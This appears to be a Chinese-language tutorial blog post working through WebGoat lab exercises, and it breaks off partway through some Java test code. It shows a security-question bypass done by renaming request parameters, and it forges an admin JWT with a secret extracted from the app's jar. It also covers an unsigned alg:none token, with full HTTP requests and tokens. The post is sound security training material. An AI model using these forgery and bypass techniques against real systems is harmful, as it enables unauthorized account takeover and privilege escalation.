密保绕过
通过修改参数名来绕过认证。
原理
后端逻辑验证不完善,导致在参数名错误的情况下,无论参数值是否正确均可以通过验证。
WebGoat靶场演示
首先进行参数拦截,请求体如下
POST /WebGoat/auth-bypass/verify-account HTTP/1.1
Host: localhost:8080
Content-Length: 94
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=cYU0K92Prk2_zdQkWkK5EX2mqiv3K6kngF6zs23p
Connection: keep-alive
secQuestion0=asdasd&secQuestion1=asdasd&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
放行后响应体如下
HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Mon, 08 Sep 2025 07:26:07 GMT
Content-Length: 164
{
"lessonCompleted" : false,
"feedback" : "Not quite, please try again.",
"output" : null,
"assignment" : "VerifyAccount",
"attemptWasMade" : true
}
这里我们修改请求体中参数名,修改后如下
POST /WebGoat/auth-bypass/verify-account HTTP/1.1
Host: localhost:8080
Content-Length: 94
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=cYU0K92Prk2_zdQkWkK5EX2mqiv3K6kngF6zs23p
Connection: keep-alive
secQuestion2=asdasd&secQuestion3=asdasd&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
再次发送,查看响应体
HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Mon, 08 Sep 2025 07:29:03 GMT
Content-Length: 252
{
"lessonCompleted" : true,
"feedback" : "Congrats, you have successfully verified the account without actually verifying it. You can now change your password!",
"output" : null,
"assignment" : "VerifyAccount",
"attemptWasMade" : true
}
发现已经绕过。
JWT
什么是JWT
JWT(Json Web Token)是一种开放标准(RFC 7519),用于在各方之间以一种简洁、安全且可自我验证的方式传递信息。它被广泛应用于身份认证和信息交换中,尤其在Web应用中。
JWT的组成
JWT由三个部分组成,每一部分之间由点(.)连接:
-
头部(Header):描述JWT的元数据,包括使用的签名算法(如HMAC、SHA256、RSA等)。
示例:
{ "alg": "HS256", "typ": "JWT" }
-
载荷(Payload):包含需要传递的生命(claims)。声明是关于实体(通常是用户)和其他数据的语句。它通常包含注册声明(如iss签发日期、exp有效期至等)、公共声明和私有声明。
示例:
{ "sub": "1234567890", "name": "John Doe", "iat": 1516239022 }
-
签名(Signature):用于验证消息的完整性,并确认发送者的身份。签名的生成方式是使用头部指定的算法(如HMAC SHA256)对头部和载荷进行编码后加密,并附上一个密钥(secret)。
示例:
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
上方的html代码如下
<ol>
<li>
<strong>头部(Header)</strong>:描述JWT的元数据,包括使用的签名算法(如HMAC、SHA256、RSA等)。
<br />示例:
<br />
<!-- wp:kevinbatdorf/code-block-pro {"code":"{\n \u0022alg\u0022: \u0022HS256\u0022,\n \u0022typ\u0022: \u0022JWT\u0022\n}","codeHTML":"\u003cpre class=\u0022shiki dark-plus\u0022 style=\u0022background-color: #1E1E1E\u0022 tabindex=\u00220\u0022\u003e\u003ccode\u003e\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e \u003c/span\u003e\u003cspan style=\u0022color: #9CDCFE\u0022\u003e\u0026quot;alg\u0026quot;\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e: \u003c/span\u003e\u003cspan style=\u0022color: #CE9178\u0022\u003e\u0026quot;HS256\u0026quot;\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e \u003c/span\u003e\u003cspan style=\u0022color: #9CDCFE\u0022\u003e\u0026quot;typ\u0026quot;\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e: \u003c/span\u003e\u003cspan style=\u0022color: #CE9178\u0022\u003e\u0026quot;JWT\u0026quot;\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e","language":"json","theme":"dark-plus","bgColor":"#1E1E1E","textColor":"#D4D4D4","fontSize":".875rem","fontFamily":"Code-Pro-JetBrains-Mono","lineHeight":"1.25rem","clampFonts":false,"lineNumbers":false,"headerType":"headlights","disablePadding":false,"footerType":"none","enableMaxHeight":false,"seeMoreType":"","seeMoreString":"","seeMoreAfterLine":"","seeMoreTransition":false,"seeMoreCollapse":false,"seeMoreCollapseString":"","highlightingHover":false,"lineHighlightColor":"rgba(234, 191, 191, 0.2)","copyButton":true,"copyButtonType":"heroicons","copyButtonUseTextarea":true,"useTabs":false} -->
<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#1E1E1E"><svg xmlns="http://www.w3.org/2000/svg" width="54" height="14" viewBox="0 0 54 14"><g fill="none" fill-rule="evenodd" transform="translate(1 1)"><circle cx="6" cy="6" r="6" fill="#FF5F56" stroke="#E0443E" stroke-width=".5"></circle><circle cx="26" cy="6" r="6" fill="#FFBD2E" stroke="#DEA123" stroke-width=".5"></circle><circle cx="46" cy="6" r="6" fill="#27C93F" stroke="#1AAB29" stroke-width=".5"></circle></g></svg></span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="复制" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>{
"alg": "HS256",
"typ": "JWT"
}</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">{</span></span>
<span class="line"><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">"alg"</span><span style="color: #D4D4D4">: </span><span style="color: #CE9178">"HS256"</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">"typ"</span><span style="color: #D4D4D4">: </span><span style="color: #CE9178">"JWT"</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span></code></pre></div>
<!-- /wp:kevinbatdorf/code-block-pro -->
</li>
<li>
<strong>载荷(Payload)</strong>:包含需要传递的生命(claims)。声明是关于实体(通常是用户)和其他数据的语句。它通常包含注册声明(如iss签发日期、exp有效期至等)、公共声明和私有声明。
<br />示例:
<br />
<!-- wp:kevinbatdorf/code-block-pro {"code":"{\n \u0022sub\u0022: \u00221234567890\u0022,\n \u0022name\u0022: \u0022John Doe\u0022,\n \u0022iat\u0022: 1516239022\n}","codeHTML":"\u003cpre class=\u0022shiki dark-plus\u0022 style=\u0022background-color: #1E1E1E\u0022 tabindex=\u00220\u0022\u003e\u003ccode\u003e\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e \u003c/span\u003e\u003cspan style=\u0022color: #9CDCFE\u0022\u003e\u0026quot;sub\u0026quot;\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e: \u003c/span\u003e\u003cspan style=\u0022color: #CE9178\u0022\u003e\u0026quot;1234567890\u0026quot;\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e \u003c/span\u003e\u003cspan style=\u0022color: #9CDCFE\u0022\u003e\u0026quot;name\u0026quot;\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e: \u003c/span\u003e\u003cspan style=\u0022color: #CE9178\u0022\u003e\u0026quot;John Doe\u0026quot;\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e \u003c/span\u003e\u003cspan style=\u0022color: #9CDCFE\u0022\u003e\u0026quot;iat\u0026quot;\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e: \u003c/span\u003e\u003cspan style=\u0022color: #B5CEA8\u0022\u003e1516239022\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e","language":"json","theme":"dark-plus","bgColor":"#1E1E1E","textColor":"#D4D4D4","fontSize":".875rem","fontFamily":"Code-Pro-JetBrains-Mono","lineHeight":"1.25rem","clampFonts":false,"lineNumbers":false,"headerType":"headlights","disablePadding":false,"footerType":"none","enableMaxHeight":false,"seeMoreType":"","seeMoreString":"","seeMoreAfterLine":"","seeMoreTransition":false,"seeMoreCollapse":false,"seeMoreCollapseString":"","highlightingHover":false,"lineHighlightColor":"rgba(234, 191, 191, 0.2)","copyButton":true,"copyButtonType":"heroicons","copyButtonUseTextarea":true,"useTabs":false} -->
<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#1E1E1E"><svg xmlns="http://www.w3.org/2000/svg" width="54" height="14" viewBox="0 0 54 14"><g fill="none" fill-rule="evenodd" transform="translate(1 1)"><circle cx="6" cy="6" r="6" fill="#FF5F56" stroke="#E0443E" stroke-width=".5"></circle><circle cx="26" cy="6" r="6" fill="#FFBD2E" stroke="#DEA123" stroke-width=".5"></circle><circle cx="46" cy="6" r="6" fill="#27C93F" stroke="#1AAB29" stroke-width=".5"></circle></g></svg></span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="复制" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">{</span></span>
<span class="line"><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">"sub"</span><span style="color: #D4D4D4">: </span><span style="color: #CE9178">"1234567890"</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">"name"</span><span style="color: #D4D4D4">: </span><span style="color: #CE9178">"John Doe"</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">"iat"</span><span style="color: #D4D4D4">: </span><span style="color: #B5CEA8">1516239022</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span></code></pre></div>
<!-- /wp:kevinbatdorf/code-block-pro -->
</li>
<li>
<strong>签名(Signature)</strong>:用于验证消息的完整性,并确认发送者的身份。签名的生成方式是使用头部指定的算法(如HMAC SHA256)对头部和载荷进行编码后加密,并附上一个密钥(secret)。
<br />示例:
<br />
<!-- wp:kevinbatdorf/code-block-pro {"code":"HMACSHA256(\n base64UrlEncode(header) + \u0022.\u0022 +\n base64UrlEncode(payload),\n secret)","codeHTML":"\u003cpre class=\u0022shiki dark-plus\u0022 style=\u0022background-color: #1E1E1E\u0022 tabindex=\u00220\u0022\u003e\u003ccode\u003e\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #DCDCAA\u0022\u003eHMACSHA256\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e(\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e \u003c/span\u003e\u003cspan style=\u0022color: #DCDCAA\u0022\u003ebase64UrlEncode\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e(header) + \u003c/span\u003e\u003cspan style=\u0022color: #CE9178\u0022\u003e\u0026quot;.\u0026quot;\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e +\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e \u003c/span\u003e\u003cspan style=\u0022color: #DCDCAA\u0022\u003ebase64UrlEncode\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e(payload),\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e secret)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e","language":"java","theme":"dark-plus","bgColor":"#1E1E1E","textColor":"#D4D4D4","fontSize":".875rem","fontFamily":"Code-Pro-JetBrains-Mono","lineHeight":"1.25rem","clampFonts":false,"lineNumbers":false,"headerType":"headlights","disablePadding":false,"footerType":"none","enableMaxHeight":false,"seeMoreType":"","seeMoreString":"","seeMoreAfterLine":"","seeMoreTransition":false,"seeMoreCollapse":false,"seeMoreCollapseString":"","highlightingHover":false,"lineHighlightColor":"rgba(234, 191, 191, 0.2)","copyButton":true,"copyButtonType":"heroicons","copyButtonUseTextarea":true,"useTabs":false} -->
<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#1E1E1E"><svg xmlns="http://www.w3.org/2000/svg" width="54" height="14" viewBox="0 0 54 14"><g fill="none" fill-rule="evenodd" transform="translate(1 1)"><circle cx="6" cy="6" r="6" fill="#FF5F56" stroke="#E0443E" stroke-width=".5"></circle><circle cx="26" cy="6" r="6" fill="#FFBD2E" stroke="#DEA123" stroke-width=".5"></circle><circle cx="46" cy="6" r="6" fill="#27C93F" stroke="#1AAB29" stroke-width=".5"></circle></g></svg></span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="复制" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #DCDCAA">HMACSHA256</span><span style="color: #D4D4D4">(</span></span>
<span class="line"><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">base64UrlEncode</span><span style="color: #D4D4D4">(header) + </span><span style="color: #CE9178">"."</span><span style="color: #D4D4D4"> +</span></span>
<span class="line"><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">base64UrlEncode</span><span style="color: #D4D4D4">(payload),</span></span>
<span class="line"><span style="color: #D4D4D4"> secret)</span></span></code></pre></div>
<!-- /wp:kevinbatdorf/code-block-pro -->
</li>
</ol>
JWT的工作原理
JWT通常用于身份验证和信息交换。它的工作原理可以分为以下几个步骤:
- 用户登录:
用户提供用户名和密码,后端验证成功后生成一个JWT并返回给客户端(通常保存在本地存储或Cookie中)。 - 每次请求都发送JWT:
客户端在后续的请求中将JWT作为HTTP头部(通常是Authorization:Bearer <token>)发送给后端。 - 验证JWT:
后端接收到请求后,会验证JWT的签名,确保它没有被篡改。还会检查JWT中的声明(如exp,即过期时间)来判断该令牌是否仍然有效。 - 成功验证后继续处理请求:
一旦JWT验证通过,后端可以使用其中的用户信息(如用户ID)来处理请求。
JWT的优点
- 无状态:
JWT是自包含的,包含所有必要的用户信息,后端无需存储任何会话信息。因此,JWT特别适合分布式系统。 - 跨平台:
JWT是基于JSON格式的,支持广泛的变成语言和框架。它可以在不同的系统、设备和平台间传递。 - 灵活性:
可以包含多种类型的声明,如注册声明、公共声明和私有声明,可以灵活地存储和传递各种信息。 - 易于实现:
JWT通常使用简单的算法(如HMAC,RSA等)进行签名验证,易于在Web应用中集成。
JWT的安全性
- 签名的安全性:JWT的签名部分可以保证消息的完整性,防止被篡改。如果使用合适的密钥或公私钥对进行签名,签名部分的篡改会导致验证失败。
- 过期时间(exp):为了防止JWT长期有效带来的安全风险,通常会为JWT设置过期时间,并且验证过期时间以确保JWT是最新的。
- 敏感信息:JWT并不加密载荷,任何人都可以解码并查看其中的内容。因此,不应将敏感数据(如密码)放入JWT的载荷中。可以使用加密JWT(JWE)来解决这个问题,但这种方式不如普通的JWT常用。
总结
JWT是一种广泛应用于Web应用和分布式系统中的标准,它简化了身份验证和信息交换的过程,尤其是在无状态的环境下。通过有效的签名机制,JWT确保了信息的完整性和来源的可信性。在实际应用中,需要注意保护密钥安全,避免泄露敏感信息。
WebGoat靶场中的JWT练习
任务1-Page3
要求:解码下面JWT token。
eyJhbGciOiJIUzI1NiJ9.ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9.9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI
分成三段来看。第一段如下
eyJhbGciOiJIUzI1NiJ9
看起来是个Base64加密后的字符,我们将这些字符进行base64解码后发现得到以下信息
{"alg":"HS256"}
第二段如下
ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9
解码后得到
{
"authorities" : [ "ROLE_ADMIN", "ROLE_USER" ],
"client_id" : "my-client-with-secret",
"exp" : 1607099608,
"jti" : "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
"scope" : [ "read", "write" ],
"user_name" : "user"
}
第三段如下
9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI
从字符上看存在符号“-”,不是base64编码后的字符,应该是第一段和第二段结合后进行加密后的结果,一般情况下使用RSA或者其他加密方式,解密需要知道公钥和私钥。
这里题目只要求给出用户名。从第二段的明文中可以得到,用户名为user。
任务2-页面5
要求:使用管理员权限来重置投票。
游客模式无法进行投票,我们切换一下用户,再看一下投票请求。
Accept:
*/*
Accept-Encoding:
gzip, deflate, br, zstd
Accept-Language:
zh-CN
Cookie:
access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE3NTg0MjkzMTQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.Ab1IdGx7ZG6forS_MO7GRHKUYmz5qUeZcAy4z9JDxEZGORnzaUu1fbBFd61Jp5_q_ZZV50aV1z6GCM2Tt8G8OA; JSESSIONID=Pmf5ido2f-H4hR0_nosxgIVWQRr455T8JVXMPZY4
Host:
localhost:8080
Proxy-Connection:
keep-alive
Referer:
http://localhost:8080/WebGoat/start.mvc
Sec-Ch-Ua:
"Not/A)Brand";v="8", "Chromium";v="126"
Sec-Ch-Ua-Mobile:
?0
Sec-Ch-Ua-Platform:
"Windows"
Sec-Fetch-Dest:
empty
Sec-Fetch-Mode:
cors
Sec-Fetch-Site:
same-origin
User-Agent:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
X-Requested-With:
XMLHttpRequest
我们先对JWT解码,前两段的解码结果如下
{"alg":"HS512"}
{"iat":1758429314,"admin":"false","user":"Tom"}
iat指的是签发时间。这里我们需要将参数admin的值改成true,再重新签名,将头部、载荷和签名再用点连接起来重新尝试一下,看看可不可以投票成功。
现在我们虽然知道了加密方式是HS512,但是还缺少密钥,需要去查看一下源码,先将jar包解压,再将项目文件使用IDEA打开,找到文件->BOOT-INF->lib->jwt-8.2.2.jar,右键将其添加库(相当于解压文件),再找到文件jwt-8.2.2.jar->org.owasp.webgoat.jwt->JWTVotesEndpoint,查看Mapping。
在静态变量中发现了密钥。
static {
JWT_PASSWORD = TextCodec.BASE64.encode("victory");
validUsers = "TomJerrySylvester";
totalVotes = 38929;
}
在赛博厨师(CyberChef)工具中选中JWT生成,并写入密钥,再将下面的payload放入即可生成有效的JWT
{"iat":1758429314,"admin":"true","user":"Tom"}
生成的JWT如下
eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE3NTg0MjkzMTQsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.iT-1XmmWokaPuG9ZyJMWCKukPrtLAisBQNoQJ4CcV96BR7rVBAaXUQPDCbJAKNStJnCy3Q1sKF9URj7QdfPw1g
修改重置投票的POST请求
POST /WebGoat/JWT/votings HTTP/1.1
Host: localhost:8080
Content-Length: 0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: access_token=eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE3NTg0MjkzMTQsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.iT-1XmmWokaPuG9ZyJMWCKukPrtLAisBQNoQJ4CcV96BR7rVBAaXUQPDCbJAKNStJnCy3Q1sKF9URj7QdfPw1g; JSESSIONID=Pmf5ido2f-H4hR0_nosxgIVWQRr455T8JVXMPZY4
Connection: keep-alive
响应结果
HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Thu, 11 Sep 2025 11:40:52 GMT
Content-Length: 202
{
"lessonCompleted" : true,
"feedback" : "Congratulations. You have successfully completed the assignment.",
"output" : null,
"assignment" : "JWTVotesEndpoint",
"attemptWasMade" : true
}
发现完成该任务。
任务3-页面7
JWT如下(没有签名),其中明确给出的算法是 alg: none
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlciI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.
测验1
判断JWT的代码如下,说出会出现什么问题?
try {
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parseClaimsJws(accessToken);
Claims claims = (Claims) jwt.getBody();
String user = (String) claims.get("user");
boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
if (isAdmin) {
removeAllUsers();
} else {
log.error("You are not an admin user");
}
} catch (JwtException e) {
throw new InvalidTokenException(e);
}
答:
由于声明的算法是none,意味着这个JWT没有使用签名进行验证,但是parseClaimsJws这个方法期待一个有效的签名算法。如果使用none作为算法,这个方法会抛出JwtException。
测验2(未有效解决)
判断JWT的代码如下,说出会出现什么问题?
try {
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
Claims claims = (Claims) jwt.getBody();
String user = (String) claims.get("user");
boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
if (isAdmin) {
removeAllUsers();
} else {
log.error("You are not an admin user");
}
} catch (JwtException e) {
throw new InvalidTokenException(e);
}
答:
解码载荷(第二段),得到如下结果
{"sub":"1234567890","user":"John Doe","admin":true,"iat":1516239022}
根据测试,在java17环境下,使用jjwt-0.10.1依赖包,测试下面的代码
package org.example;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
public class Main {
public static void main(String[] args) {
String accessToken = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlciI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.";
try {
Jwt jwt = Jwts.parser().setSigningKey("dmljdG9yeQ==").parse(accessToken);
Claims claims = (Claims) jwt.getBody();
String user = (String) claims.get("user");
boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
System.out.println(isAdmin);
if (isAdmin) {
System.out.println("removed");
